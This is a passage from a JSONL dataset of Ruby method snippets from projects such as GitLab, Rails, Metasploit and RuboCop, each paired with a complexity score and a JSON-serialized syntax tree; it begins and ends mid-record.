"incident_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"assignees\"]},{\"type\":\"send\",\"children\":[null,\"reject_empty\",{\"type\":\"send\",\"children\":[null,\"parse_assignees\",{\"type\":\"lvar\",\"children\":[\"incident\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"impacted_service\"]},{\"type\":\"send\",\"children\":[null,\"parse_impacted_service\",{\"type\":\"lvar\",\"children\":[\"incident\"]}]}]}]}]}]}","id":"32413219-a493-44d3-95ad-cc0de811885b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/srv_resolver.rb","start_line":24,"raw_source":"def address_for(host)\n          addresses_from_additional[host] || resolve_host(host)\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"address_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"addresses_from_additional\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[null,\"resolve_host\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}","id":"b9c9c948-1ccc-435a-af95-8e0d9e44ae97"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb","start_line":146,"raw_source":"def set_value(name, type, data)\n    return self.client.sys.registry.set_value(self.hkey, name, type, data)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"client\"]},\"sys\"]},\"registry\"]},\"set_value\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hkey\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"b5eda408-0280-495c-b814-5f69d9d91fcc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/project_presenter.rb","start_line":483,"raw_source":"def can_instantiate_cluster?\n    current_user && can?(current_user, :create_cluster, project)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"can_instantiate_cluster?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_cluster\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}","id":"24de6d36-3c8a-416f-9123-292a33bfaba5"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1010,"raw_source":"def test_perform_enqueued_jobs_block_with_at_with_job_wait_in_past\n      perform_enqueued_jobs(at: Time.now) do\n        HelloJob.set(wait_until: Time.now - 100).perform_later(\"kevin\")\n      end\n\n      assert_performed_jobs 1\n    end","complexity_score":10.53,"ast_json":"{\"type\":\"def\",\"children\":[\"test_perform_enqueued_jobs_block_with_at_with_job_wait_in_past\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_until\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"int\",\"children\":[100]}]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"kevin\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_performed_jobs\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"2285690b-156b-422b-8df9-3d51f1407d9c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb","start_line":893,"raw_source":"def test_has_and_belongs_to_many_in_a_namespaced_model_pointing_to_a_namespaced_model\n    magazine = Publisher::Magazine.create\n    article = Publisher::Article.create\n    magazine.articles << article\n    magazine.save\n\n    assert_includes magazine.articles, article\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_and_belongs_to_many_in_a_namespaced_model_pointing_to_a_namespaced_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"magazine\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Publisher\"]},\"Magazine\"]},\"create\"]}]},{\"type\":\"lvasgn\",\"children\":[\"article\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Publisher\"]},\"Article\"]},\"create\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"magazine\"]},\"articles\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"article\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"magazine\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"magazine\"]},\"articles\"]},{\"type\":\"lvar\",\"children\":[\"article\"]}]}]}]}","id":"6f9831a5-85ac-45d7-97af-818a234947b1"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/color/compare_hex.rb","start_line":17,"raw_source":"def biggest\n      hexes.last\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"biggest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hexes\"]},\"last\"]}]}","id":"3b207d64-2cc0-477e-84fd-646a1c0aea95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/delete_old_feature_flags.rb","start_line":79,"raw_source":"def valid_rollout_date?(feature_flag)\n      intended_to_rollout_by_date = feature_flag.intended_to_rollout_by\n      return true unless intended_to_rollout_by_date.present?\n\n      rollout_date = parse_date(intended_to_rollout_by_date)\n      if rollout_date.nil?\n        message = \"#{feature_flag.name} intended_to_rollout_by #{intended_to_rollout_by_date}\"\n        @logger.puts \"#{message}, is ignored as it cannot be parsed.\"\n      elsif rollout_date.future?\n        @logger.puts \"#{feature_flag.name} cannot be removed, intended rollout date is #{intended_to_rollout_by_date}\"\n        return false\n      end\n\n      true\n    end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_rollout_date?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_flag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"intended_to_rollout_by_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},\"intended_to_rollout_by\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"intended_to_rollout_by_date\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rollout_date\",{\"type\":\"send\",\"children\":[null,\"parse_date\",{\"type\":\"lvar\",\"children\":[\"intended_to_rollout_by_date\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rollout_date\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" intended_to_rollout_by \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"intended_to_rollout_by_date\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\", is ignored as it cannot be parsed.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rollout_date\"]},\"future?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" cannot be removed, intended rollout date is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"intended_to_rollout_by_date\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"ea5b1b75-9f3d-4fee-a7fd-a3d224b27385"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/double_negation.rb","start_line":120,"raw_source":"def find_conditional_node_from_ascendant(node)\n          return unless (parent = node.parent)\n          return parent if parent.conditional?\n\n          find_conditional_node_from_ascendant(parent)\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_conditional_node_from_ascendant\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"conditional?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"find_conditional_node_from_ascendant\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}","id":"4a2d5275-ce91-4357-9dfb-d6ee907e85d9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/spawn_methods.rb","start_line":9,"raw_source":"def spawn # :nodoc:\n      already_in_scope?(model.scope_registry) ? model.all : clone\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"spawn\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"already_in_scope?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"scope_registry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"all\"]},{\"type\":\"send\",\"children\":[null,\"clone\"]}]}]}","id":"d99a0846-a4e5-4a47-9b6b-d12929cd8aa4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/delete_old_feature_flags.rb","start_line":319,"raw_source":"def patch_path(feature_flag)\n      feature_flag.path.sub(/.yml$/, '.patch')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"patch_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_flag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},\"path\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".yml$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\".patch\"]}]}]}","id":"9859aac7-2cf4-4e9a-8b87-cfcf8eb6f350"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/application.rb","start_line":80,"raw_source":"def sources\n        if no_source_files_given?\n          if input_was_piped?\n            disable_progress_output_unless_verbose\n            source_from_pipe\n          else\n            working_directory_as_source\n          end\n        else\n          sources_from_argv\n        end\n      end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"sources\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_source_files_given?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_was_piped?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disable_progress_output_unless_verbose\"]},{\"type\":\"send\",\"children\":[null,\"source_from_pipe\"]}]},{\"type\":\"send\",\"children\":[null,\"working_directory_as_source\"]}]},{\"type\":\"send\",\"children\":[null,\"sources_from_argv\"]}]}]}","id":"c702054b-e164-478d-be45-22004a069db8"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":127,"raw_source":"def write(chunk)\n        chunk.extend(ChunkSizeCompatMixin)\n        chunk.extend(ChunkMessagePackEventStreamer)\n        chunk.extend(AddKeyToChunkMixin) if chunk.metadata.variables && chunk.metadata.variables.has_key?(:key)\n        super\n      end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ChunkSizeCompatMixin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ChunkMessagePackEventStreamer\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"metadata\"]},\"variables\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"metadata\"]},\"variables\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"AddKeyToChunkMixin\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"f66c5a58-96cd-4fe5-926d-a02068c7fcce"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/sharing/share_modal.rb","start_line":88,"raw_source":"def expect_selected(*principals)\n        within shares_list do\n          principals.each do |principal|\n            expect(page).to have_checked_field(principal.name)\n          end\n        end\n      end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_selected\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"principals\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"shares_list\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"principals\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"principal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_checked_field\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"principal\"]},\"name\"]}]}]}]}]}]}","id":"ca79b955-9909-45b1-a01e-0b5584467be9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/artifact.rb","start_line":57,"raw_source":"def validate_content_presence!\n              errors.push(\"File `#{masked_location}` is empty!\") unless content.present?\n            end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_content_presence!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"push\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"masked_location\"]}]},{\"type\":\"str\",\"children\":[\"` is empty!\"]}]}]}]}]}","id":"5a8bd8b4-a703-4a64-a563-90f19a40f1ee"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/query_api.rb","start_line":185,"raw_source":"def was_new_record? # :nodoc:\n      pk = self.class.primary_key\n      !destroyed? && transaction_changed_attributes.key?(pk) && transaction_changed_attributes[pk].nil?\n    end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"was_new_record?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pk\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"primary_key\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroyed?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction_changed_attributes\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"pk\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction_changed_attributes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"pk\"]}]},\"nil?\"]}]}]}]}","id":"2e2063f4-79d7-4b7c-8c5a-c15d8ce0bbf7"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/data/20250417191605_update_eula_permission.rb","start_line":5,"raw_source":"def change\n    admin_role = Role.find_by(role_name: \"Admin\")\n    member_role = Role.find_by(role_name: \"Member\")\n    viewer_role = Role.find_by(role_name: \"Viewer\")\n\n    admin_role&.update!(\n      policies: {\n        permissions: {\n          connector_definition: { create: true, read: true, update: true, delete: true },\n          connector: { create: true, read: true, update: true, delete: true },\n          model: { create: true, read: true, update: true, delete: true },\n          report: { create: true, read: true, update: true, delete: true },\n          sync_record: { create: true, read: true, update: true, delete: true },\n          sync_run: { create: true, read: true, update: true, delete: true },\n          sync: { create: true, read: true, update: true, delete: true },\n          user: { create: true, read: true, update: true, delete: true },\n          workspace: { create: true, read: true, update: true, delete: true },\n          data_app: { create: true, read: true, update: true, delete: true },\n          audit_logs: { create: true, read: true, update: true, delete: true },\n          alerts: { create: true, read: true, update: true, delete: true },\n          billing: { create: true, read: true, update: true, delete: true },\n          sso: { create: true, read: true, update: true, delete: true },\n          eula: { create: true, read: true, update: true, delete: true },\n          assistant: { create: true, read: true, update: true, delete: true }\n        }\n      }\n    )\n\n    member_role&.update!(\n      policies: {\n        permissions: {\n          connector_definition: { create: true, read: true, update: true, delete: true },\n          connector: { create: true, read: true, update: true, delete: true },\n          model: { create: true, read: true, update: true, delete: true },\n          report: { create: true, read: true, update: true, delete: true },\n          sync_record: { create: true, read: true, update: true, delete: true },\n          sync_run: { create: true, read: true, update: true, delete: true },\n          sync: { create: true, read: true, update: true, delete: true },\n          user: { create: false, read: true, update: false, delete: false },\n          workspace: { create: false, read: true, update: false, delete: false },\n          data_app: { create: true, read: true, update: true, delete: true },\n          audit_logs: { create: true, read: true, update: true, delete: true },\n          alerts: { create: true, read: true, update: true, delete: true },\n          billing: { create: false, read: false, update: false, delete: false },\n          sso: { create: false, read: false, update: false, delete: false },\n          eula: { create: false, read: true, update: false, delete: false },\n          assistant: { create: false, read: false, update: false, delete: false }\n        }\n      }\n    )\n\n    viewer_role&.update!(\n      policies: {\n        permissions: {\n          connector_definition: { create: false, read: true, update: false, delete: false },\n          connector: { create: false, read: true, update: false, delete: false },\n          model: { create: false, read: true, update: false, delete: false },\n          report: { create: false, read: true, update: false, delete: false },\n          sync_record: { create: false, read: true, update: false, delete: false },\n          sync_run: { create: false, read: true, update: false, delete: false },\n          sync: { create: false, read: true, update: false, delete: false },\n          user: { create: false, read: true, update: false, delete: false },\n          workspace: { create: false, read: true, update: false, delete: false },\n          data_app: { create: false, read: true, update: false, delete: false },\n          audit_logs: { create: false, read: false, update: false, delete: false },\n          alerts: { create: false, read: true, update: false, delete: false },\n          billing: { create: false, read: false, update: false, delete: false },\n          sso: { create: false, read: false, update: false, delete: false },\n          eula: { create: false, read: true, update: false, delete: false },\n          assistant: { create: false, read: false, update: false, delete: false }\n        }\n      }\n    )\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"admin_role\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role_name\"]},{\"type\":\"str\",\"children\":[\"Admin\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"member_role\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role_name\"]},{\"type\":\"str\",\"children\":[\"Member\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"viewer_role\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role_name\"]},{\"type\":\"str\",\"children\":[\"Viewer\"]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_role\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"policies\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connector_definition\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_record\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_app\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"